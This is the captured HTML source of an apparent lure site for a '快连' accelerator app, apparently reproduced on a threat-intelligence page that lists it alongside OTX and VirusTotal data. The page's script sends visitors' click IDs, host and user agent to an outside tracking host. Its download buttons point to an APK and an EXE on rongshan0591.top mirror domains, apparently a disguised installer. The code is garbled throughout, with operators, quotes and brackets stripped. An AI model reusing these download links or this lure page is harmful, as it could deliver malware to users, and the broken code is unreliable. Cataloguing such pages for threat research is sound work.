}, exports.awrap function (arg) { return { __await: arg }; }, defineIteratorMethods(AsyncIterator.prototype), define(AsyncIterator.prototype, asyncIteratorSymbol, function () { return this; }), exports.AsyncIterator AsyncIterator, exports.async function (innerFn, outerFn, self, tryLocsList, PromiseImpl) { void 0 PromiseImpl && (PromiseImpl Promise); var iter new AsyncIterator(wrap(innerFn, outerFn, self, tryLocsList), PromiseImpl); return exports.isGeneratorFunction(outerFn) ? iter : iter.next().then(function (result) { return result.done ? result.value : iter.next(); }); }, defineIteratorMethods(Gp), define(Gp, toStringTagSymbol, Generator), define(Gp, iteratorSymbol, function () { return this; }), define(Gp, toString, function () { return object Generator; }), exports.keys function (val) { var object Object(val), keys ; for (var key in object) keys.push(key); return keys.reverse(), function next() { for (; keys.length;) { var key keys.pop(); if (key in object) return next.value key, next.done !1, next; } return next.done !0, next; }; }, exports.values values, Context.prototype { constructor: Context, reset: function reset(skipTempReset) { if (this.prev 0, this.next 0, this.sent this._sent undefined, this.done !1, this.delegate null, this.method next, this.arg undefined, this.tryEntries.forEach(resetTryEntry), !skipTempReset) for (var name in this) t name.charAt(0) && hasOwn.call(this, name) && !isNaN(+name.slice(1)) && (thisname undefined); }, stop: function stop() { this.done !0; var rootRecord this.tryEntries0.completion; if (throw rootRecord.type) throw rootRecord.arg; return this.rval; }, dispatchException: function dispatchException(exception) { if (this.done) throw exception; var context this; function handle(loc, caught) { return record.type throw, record.arg exception, context.next loc, caught && (context.method next, context.arg undefined), !!caught; } for (var i this.tryEntries.length - 1; i > 0; --i) { var entry this.tryEntriesi, record entry.completion; if (root entry.tryLoc) return handle(end); if (entry.tryLoc this.prev) { var hasCatch hasOwn.call(entry, catchLoc), hasFinally hasOwn.call(entry, finallyLoc); if (hasCatch && hasFinally) { if (this.prev entry.catchLoc) return handle(entry.catchLoc, !0); if (this.prev entry.finallyLoc) return handle(entry.finallyLoc); } else if (hasCatch) { if (this.prev entry.catchLoc) return handle(entry.catchLoc, !0); } else { if (!hasFinally) throw new Error(try statement without catch or finally); if (this.prev entry.finallyLoc) return handle(entry.finallyLoc); } } } }, abrupt: function abrupt(type, arg) { for (var i this.tryEntries.length - 1; i > 0; --i) { var entry this.tryEntriesi; if (entry.tryLoc this.prev && hasOwn.call(entry, finallyLoc) && this.prev entry.finallyLoc) { var finallyEntry entry; break; } } finallyEntry && (break type || continue type) && finallyEntry.tryLoc arg && arg finallyEntry.finallyLoc && (finallyEntry null); var record finallyEntry ? finallyEntry.completion : {}; return record.type type, record.arg arg, finallyEntry ? (this.method next, this.next finallyEntry.finallyLoc, ContinueSentinel) : this.complete(record); }, complete: function complete(record, afterLoc) { if (throw record.type) throw record.arg; return break record.type || continue record.type ? this.next record.arg : return record.type ? (this.rval this.arg record.arg, this.method return, this.next end) : normal record.type && afterLoc && (this.next afterLoc), ContinueSentinel; }, finish: function finish(finallyLoc) { for (var i this.tryEntries.length - 1; i > 0; --i) { var entry this.tryEntriesi; if (entry.finallyLoc finallyLoc) return this.complete(entry.completion, entry.afterLoc), resetTryEntry(entry), ContinueSentinel; } }, catch: function _catch(tryLoc) { for (var i this.tryEntries.length - 1; i > 0; --i) { var entry this.tryEntriesi; if (entry.tryLoc tryLoc) { var record entry.completion; if (throw record.type) { var thrown record.arg; resetTryEntry(entry); } return thrown; } } throw new Error(illegal catch attempt); }, delegateYield: function delegateYield(iterable, resultName, nextLoc) { return this.delegate { iterator: values(iterable), resultName: resultName, nextLoc: nextLoc }, next this.method && (this.arg undefined), ContinueSentinel; } }, exports; } function _typeof(obj) { @babel/helpers - typeof; return _typeof function typeof Symbol && symbol typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && function typeof Symbol && obj.constructor Symbol && obj ! Symbol.prototype ? symbol : typeof obj; }, _typeof(obj); } function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) { try { var info genkey(arg); var value info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { Promise.resolve(value).then(_next, _throw); } } function _asyncToGenerator(fn) { return function () { var self this, args arguments; return new Promise(function (resolve, reject) { var gen fn.apply(self, args); function _next(value) { asyncGeneratorStep(gen, resolve, reject, _next, _throw, next, value); } function _throw(err) { asyncGeneratorStep(gen, resolve, reject, _next, _throw, throw, err); } _next(undefined); }); }; } function ownKeys(object, enumerableOnly) { var keys Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols Object.getOwnPropertySymbols(object); enumerableOnly && (symbols symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; })), keys.push.apply(keys, symbols); } return keys; } function _objectSpread(target) { for (var i 1; i arguments.length; i++) { var source null ! argumentsi ? argumentsi : {}; i % 2 ? ownKeys(Object(source), !0).forEach(function (key) { _defineProperty(target, key, sourcekey); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)) : ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } return target; } function _defineProperty(obj, key, value) { key _toPropertyKey(key); if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { objkey value; } return obj; } function _toPropertyKey(arg) { var key _toPrimitive(arg, string); return _typeof(key) symbol ? key : String(key); } function _toPrimitive(input, hint) { if (_typeof(input) ! object || input null) return input; var prim inputSymbol.toPrimitive; if (prim ! undefined) { var res prim.call(input, hint || default); if (_typeof(res) ! object) return res; throw new TypeError(@@toPrimitive must return a primitive value.); } return (hint string ? String : Number)(input); } function generateRandomId(length) { var characters ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789; var result ; for (var i 0; i length; i++) { result + characters.charAt(Math.floor(Math.random() * characters.length)); } return result; } function normalizeQueryParams(params) { var normalizedParams {}; for (var key in params) { var lowerKey key.toLowerCase(); if (lowerKey zoneid || lowerKey zone_id) { normalizedParamszone_id paramskey; } else if (click_id, clickid, gclid.includes(lowerKey)) { normalizedParamsclickId paramskey; } else { normalizedParamskey paramskey; } } return normalizedParams; } function getQueryParams() { var url new URL(window.location.href); var queryParams Object.fromEntries(url.searchParams.entries()); var normalizedQueryParams normalizeQueryParams(queryParams); var storedClickId localStorage.getItem(clickIdDis); if (!normalizedQueryParams.clickId) { if (storedClickId) { normalizedQueryParams.clickId storedClickId; } else { normalizedQueryParams.clickId generateRandomId(12); } url.searchParams.set(clickId, normalizedQueryParams.clickId); window.history.replaceState(null, , url.toString()); } if (storedClickId && normalizedQueryParams.clickId ! storedClickId) { normalizedQueryParams.clickId storedClickId; url.searchParams.set(clickId, storedClickId); window.history.replaceState(null, , url.toString()); } localStorage.setItem(clickIdDis, normalizedQueryParams.clickId); var pathSegments window.location.pathname.split(/).filter(Boolean); var routePatch pathSegments.length ? pathSegmentspathSegments.length - 1 : ; var host window.location.host; var ua encodeURIComponent(navigator.userAgent); return _objectSpread(_objectSpread({}, normalizedQueryParams), {}, { routePatch: routePatch, hostName: host, land: host, requestUri: routePatch, httpHost: host, ua: ua, subId: navigator.subId || }); } function sendDataToMetric(_x, _x2) { return _sendDataToMetric.apply(this, arguments); } function _sendDataToMetric() { _sendDataToMetric _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee(params, registerPage) { var requestData; return _regeneratorRuntime().wrap(function _callee$(_context) { while (1) switch (_context.prev _context.next) { case 0: requestData new URLSearchParams(_objectSpread(_objectSpread({}, params), {}, { value: 1, metric: orderLandVisits, registerPage: registerPage })); _context.prev 1; _context.next 4; return fetch(https://tcdn.ahhtsw.com/601, { method: POST, headers: { Content-Type: application/x-www-form-urlencoded }, body: requestData.toString() }); case 4: _context.next 9; break; case 6: _context.prev 6; _context.t0 _contextcatch(1); console.error(Error during metric send:, _context.t0.message || _context.t0); case 9: case end: return _context.stop(); } }, _callee, null, 1, 6); })); return _sendDataToMetric.apply(this, arguments); } var queryParams getQueryParams(); var filteredParams {}; for (var key in queryParams) { if ( key ! ua && key ! platform && key ! subId && key ! hostName && key ! httpHost && queryParamskey ! && queryParamskey ! null && queryParamskey ! undefined ) { filteredParamskey queryParamskey; } } var queryParamsString new URLSearchParams(filteredParams).toString(); sendDataToMetric(queryParams, visit); window.addEventListener(DOMContentLoaded, function () { sendDataToMetric(queryParams, contentLoaded); var handleClicked document.getElementById(mainLinkAndroid); if (handleClicked) { handleClicked.addEventListener(click, function (e) { console.log(Android download link clicked); sendDataToMetric(queryParams, downloadAndroidKuaiLian); }); } }); /script> style> body {padding:0; margin: 0; font-size: 12px; font-family:Microsoft Yahei;} ul,ol,p{list-style:none; padding: 0; margin: 0;} .clear{clear:both;} .container{width: 90%; margin: 0 auto;} a{text-decoration:none;} .banner{width:100%; min-height: 100vh; background:url(./img/home_bg_tel.jpg) no-repeat; background-size: 100% 100%;} .banner .top{padding:30px; display: flex; justify-content: space-between;} .banner .top .logo{color:#FFF; font-size: 18px; display: flex; align-items: center;} .banner .top .logo img{width: 23px; margin-right: 10px;} .banner .top .menu{display: flex; align-items: center;} .banner .top .menu a{ padding:0 10px; color: #EEEEEE} .banner .t1{font-size:4.5rem; text-align: center; color: #FFF; font-weight: bold; padding-top: 4%;} .banner .txt{padding:4% 0; display: flex; justify-content: center; width: 100%;} .banner .txt .box-item{padding:0px 60px; color: #FFF; border-right: 2px solid; -webkit-border-image: -webkit-linear-gradient(top, hsla(0, 0%, 100%, 0), hsla(0, 0%, 100%, .3), hsla(0, 0%, 100%, 0)) 0 1;border-image: linear-gradient(180deg, hsla(0, 0%, 100%, 0), hsla(0, 0%, 100%, .3), hsla(0, 0%, 100%, 0)) 0 1;} .banner .txt .box-item:last-child{border-right:none;} .banner .txt .box-item .t1{ font-size: 28px; } .banner .txt .box-item .t1 strong{font-size:52px; font-weight: normal; font-weight: bold;} .banner .txt .box-item .t2{font-size: 24px;} .banner .btn-box{max-width: 1200px; margin: 4% auto 0; display: flex; justify-content: space-between;} .banner .btn-box .box-xz{width:48%; background:#FFF; border-radius: 50px; padding: 20px 0; text-align: center; cursor: pointer; color: #4853e3; font-size: 42px; font-weight: bold; display: flex; align-items: center; justify-content: center;} .banner .btn-box .box-xz img{width:46px; margin-right: 10px;} /* Spacing adjustments for large screens to keep buttons away from the bottom edge */ .banner { padding-bottom: 6vh; } @media (min-width: 1600px) { .banner { padding-bottom: 8vh; } } @media (min-width: 1920px) { .banner { padding-bottom: 10vh; } } .pd50{padding:50px 0;} .hot{ margin-top:30px;} .hot .hot-tit{ display: flex;} .hot .hot-tit .tit-item{border-radius:50px; background: linear-gradient(315deg, #eb4eb1, #9257f9 50%, #3150ed); padding: 8px 30px; font-size: 22px; color: #FFF; display: flex; align-items: center;} .hot .hot-tit .tit-item img{width: 30px; margin-right: 10px;} .hot .t1{ padding-top: 40px; font-size: 48px; color: #333;} .hot .t2{padding-top: 20px; color: #888; font-size: 22px;} .hot-pic{ text-align:center;} .hot-pic img{width:40%;} .copyright{padding:20px; text-align: center; font-size: 12px;} .copyright a{ color: #333;} .open { position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 99999; display: none; } .bigwx { position: absolute; background: #fff; left: 0; right: 0; top: 0; bottom: 0; width:80%; max-width: 500px; height: 360px; margin: auto; text-align: center; overflow: hidden; -webkit-animation-name: animatetop; -webkit-animation-duration: 0.4s; animation-name: animatetop; animation-duration: 0.4s } .bigwx .close { position: absolute; top:10px; right: 10px; cursor: pointer; } .bigwx .title{background: #4853e3; padding:20px 0; text-align: center; position: relative;} .bigwx .bj_bd{width:90%; margin: 30px auto 0; display: flex; flex-flow: wrap;} .bigwx .bj_bd .bd_l{width:10%; text-align: center; display: flex; justify-content: center; align-items: center;} .bigwx .bj_bd .bd_l i{font-size:28px; color: #4853e3;} .bigwx .bj_bd .bd_r{width:100%;} .bigwx .bj_bd .bdtxt{padding:0 12px; line-height: 45px; border: none; color: #333; font-size: 13px; width: 90%; background: #f4f4f4; border-left: 4px solid #4853e3;} input:focus{outline:none} .bigwx .tijiao { background: #4853e3; width: 82%; padding: 10px 0; text-align: center; font-size: 22px; color: #FFF; border-radius: 10px; border: none; -webkit-box-shadow: 0 15px 30px rgba(0,0,0,.1); box-shadow: 0 15px 30px rgba(0,0,0,.1); -webkit-transform: translate3d(0,-2px,0); transform: translate3d(0,-2px,0); cursor: pointer; margin: 30px auto 0; } .btn { display: block; position: relative; top: 100px; margin: 20px; width: 200px; height: 50px; line-height: 50px; text-align: center; border-radius: 5px; font-size: 18px; color: salmon; background-color: skyblue } .btn-on { background-color: #4853e3; } @media (max-width:767px) { .container{ padding: 10px;} .banner .t1{font-size:2rem; padding-top: 12%;} .banner .txt .box-item .t1 strong{font-size:28px;} .banner .txt .box-item{padding:0 20px;} .banner .txt .box-item .t2{font-size:16px;} .banner .btn-box{width:100%; flex-wrap: wrap; justify-content: center;} .banner .btn-box .box-xz{width:80%; margin-bottom: 30px; font-size: 28px; padding: 15px 0;} .banner{min-height:auto!important; padding-bottom: 10%;} .hot .t1{font-size:28px;} .hot .t2{font-size:18px;} .hot-pic img{width:70%;} } /style>script>window.trackingParams {}; var trackingParamsStr utm_mediumdirect&mt1764332416&trafficSourcedirect&clickId14057zwg4auk&siteUrl%2F&uid14057zwg4auk&sourceSEO_CN&utm_sourcewhitehouse-music.com&platformUnknown&utm_campaignfapnetKuailianSeptember23&ip52.40.234.105; var pairs trackingParamsStr.split(&); for (var i 0; i pairs.length; i++) { var pair pairsi.split(); if (pair0) window.trackingParamsdecodeURIComponent(pair0) decodeURIComponent(pair1 || ); }/script>/head>body> main> div classbanner> div classtop> div classlogo>img srcimg/logo_word_zh.7d8620d0.png alt>快连游戏加速器/div> /div> div classt1>能连上的游戏加速器/div> div classtxt> div classbox-item> div classt1>strong>3/strong>s/div> div classt2>极速连接/div> /div> div classbox-item> div classt1>strong>72/strong>h/div> div classt2>免费试用/div> /div> div classbox-item> div classt1>strong>1000/strong>+/div> div classt2>应用支持/div> /div> /div> div classbtn-box> a classbox-xz idmainLinkAndroid hrefhttps://adspand.rongshan0591.top/pub/kuailian_seo_mirror.apk>img srcimg/android.svg alt>Android 版下载/a> a classbox-xz idmainLinkWindows hrefhttps://adspwin.rongshan0591.top/windfast/kuailian.exe>img srcimg/windows.svg alt>PC 版下载/a> /div> /div> div classcontainer pd50> div classhot> div classhot-tit> div classtit-item>img srcimg/home_title_img.a9313b31.png alt>火爆买点/div> /div> div classt1>音频 视频 网页加速器/div> div classt2>快连 加速器。音频 视频 网页加速一体的/div> /div> div classhot> div classhot-tit> div classtit-item>img srcimg/home_title_img.a9313b31.png alt>火爆买点/div> /div> div classt1>随用随享,永不套牢/div> div classt2>一家敢提供短期会员的知名 加速器,安全稳定的同时致力于保障用户权益,随时想用,随时订购,不用担心跑路,不用担心被套牢。/div> /div> div classhot-pic>img srcimg/home_introduce_3.63497ff8.png alt>/div> div classhot> div classhot-tit> div classtit-item>img srcimg/home_title_img.a9313b31.png alt>火爆买点/div> /div> div classt1>游戏平台,无缝衔接/div> div classt2>快连 加速器 支持市面上所有主流的设备,只需一个账号即可在多个设备中共享会员,支持多设备同时在线,保障您不同使用场景下的无缝衔接。/div> /div> div classhot> div classhot-tit> div classtit-item>img srcimg/home_title_img.a9313b31.png alt>火爆买点/div> /div> div classt1>真人客服,24小时在线客服/div> div classt2>快连 加速器 提供 24 小时在线服务,100+ 真人客服与网络工程师随时待命,为您上网体验保驾护航,真真正正的提供随叫随到,24小时在线客服 VIP ��务。/div> /div> div classhot-pic>img srcimg/home_introduce_5.8e475357.png alt>/div> /div> div classcopyright> p >2018-2022 快连游戏加速器/p> p >应用名称: APP/游戏加速器 更新时间:2023-04-30 版本号:2.0.0/p> p >a hrefyhxy.html>用户协议/a> | a hrefysxy.html>隐私协议/a> | a hrefcpgn.html>产品功能/a>/p> p>黄冈惊鸿网络科技有限公司 鄂ICP备2025136124号/p> /div> /main>/body>/html>
View on OTX
|
View on ThreatMiner
Please enable JavaScript to view the
comments powered by Disqus.
Data with thanks to
AlienVault OTX
,
VirusTotal
,
Malwr
and
others
. [
Sitemap
]